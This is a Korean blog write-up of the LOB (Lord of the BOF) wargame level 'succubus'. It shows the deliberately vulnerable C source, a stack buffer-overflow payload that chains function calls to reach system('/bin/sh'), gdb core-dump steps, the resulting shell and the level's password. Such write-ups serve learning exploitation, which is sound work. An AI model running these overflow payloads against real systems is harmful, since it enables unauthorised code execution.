/*
The Lord of the BOF : The Fellowship of the BOF
- succubus
- calling functions continuously
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
// the inspector
int check = 0;
void MO(char *cmd)
{
if(check != 4)
exit(0);
printf("welcome to the MO!\n");
// olleh!
system(cmd);
}
void YUT(void)
{
if(check != 3)
exit(0);
printf("welcome to the YUT!\n");
check = 4;
}
void GUL(void)
{
if(check != 2)
exit(0);
printf("welcome to the GUL!\n");
check = 3;
}
void GYE(void)
{
if(check != 1)
exit(0);
printf("welcome to the GYE!\n");
check = 2;
}
void DO(void)
{
printf("welcome to the DO!\n");
check = 1;
}
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// you cannot use library
if(strchr(argv[1], '\x40')){
printf("You cannot use library\n");
exit(0);
}
// check address
addr = (char *)&DO;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with DO\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer
// 100 : extra space for copied argv[1]
memset(buffer, 0, 44);
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
소스가 길어서..
함수 순서대로 호출하고 system 함수 호출하는 레벨.
ROP 개념을 연습해보는 문제다.
그러려면 함수 주소를 알아야겠지?
<함수 주소>
.
readelf -s ./succubus | grep FUNC
심볼 테이블을 출력하는 명령어.
함수명만 grep 했다.(필터링)
gdb보다 빨리 찾을 수 있다.
<payload 구성>
./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\xff\xff\xff\xff"'`
함수들을 순서대로 호출하고
마지막 MO 함수의 RET는 BBBB로 덮고
MO 함수의 매개인자 cmd, 즉 system 함수에 쓰일 cmd의 주소는 \xff\xff\xff\xff로 덮어놨다.
이제 남은 일은 cmd의 주소를 &/bin/sh로 덮어씌우는 것이다.
문제 소스 코드에서 메모리를 모두 초기화 해 버리고 라이브러리 영역을 못 쓰게 했지만
잘 보면 buffer 중 104 바이트만이 초기화 되지 않았다.
무슨 말이냐? 우리의 페이로드 중 dummy 'A'*44는 초기화 되고, 그 이후 104 byte는 초기화 되지 않았다.
즉, /bin/sh를 입력할 공간이 버퍼에 충분히 있다는 것이다. 이게 가장 쉬운 방법이다.
이제 페이로드 뒤에 /bin/sh를 입력하고 코어 덤프를 확인해보자.
코어 덤프를 확인하기 위해서는 바이너리 파일을 tmp 디렉토리로 카피해야 한다.
cp succubus /tmp
cd /tmp
./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\xff\xff\xff\xbf"+"/bin/sh"'`
gdb -q -c core
x/1000s $esp-40
0xbffffa78에서 /bin/sh를 찾을 수 있다.
<여담>
필자의 경우, 페이로드를 ~ "BBBB" "\x01\xfd\xfd\xbf" 로 입력하였더니
/bin/sh이 짤려보였다. 왜 짤린 것일까? 확인해보니
\xfd라는 문자에 의해 문자열이 '짤려보이는 것'이었다.
실제로 잘린 것은 아니다.
여담은 이 정도로 하고, 이제 바로 exploit을 시도하면 된다.
<exploit>
[zombie_assassin@localhost /tmp]$ ln -sf ~/succubus succubus
[zombie_assassin@localhost /tmp]$ ./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x78\xfa\xff\xbf"+"/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.BBBBx�in/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ id
uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)
bash$ my-pass
euid = 517
here to stay
bash$
쉘을 따냈다!
succubus의 패스워드는 here to stay
'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글
LOB nightmare -> xavius (2) | 2015.11.19 |
---|---|
LOB succubus -> nightmare (0) | 2015.11.18 |
LOB assassin -> zombie_assassin (0) | 2015.11.18 |
LOB giant -> assassin (0) | 2015.11.18 |
LOB bugbear -> giant (0) | 2015.11.18 |
WRITTEN BY
- hojongs
블로그 옮겼습니다 https://hojongs.github.io/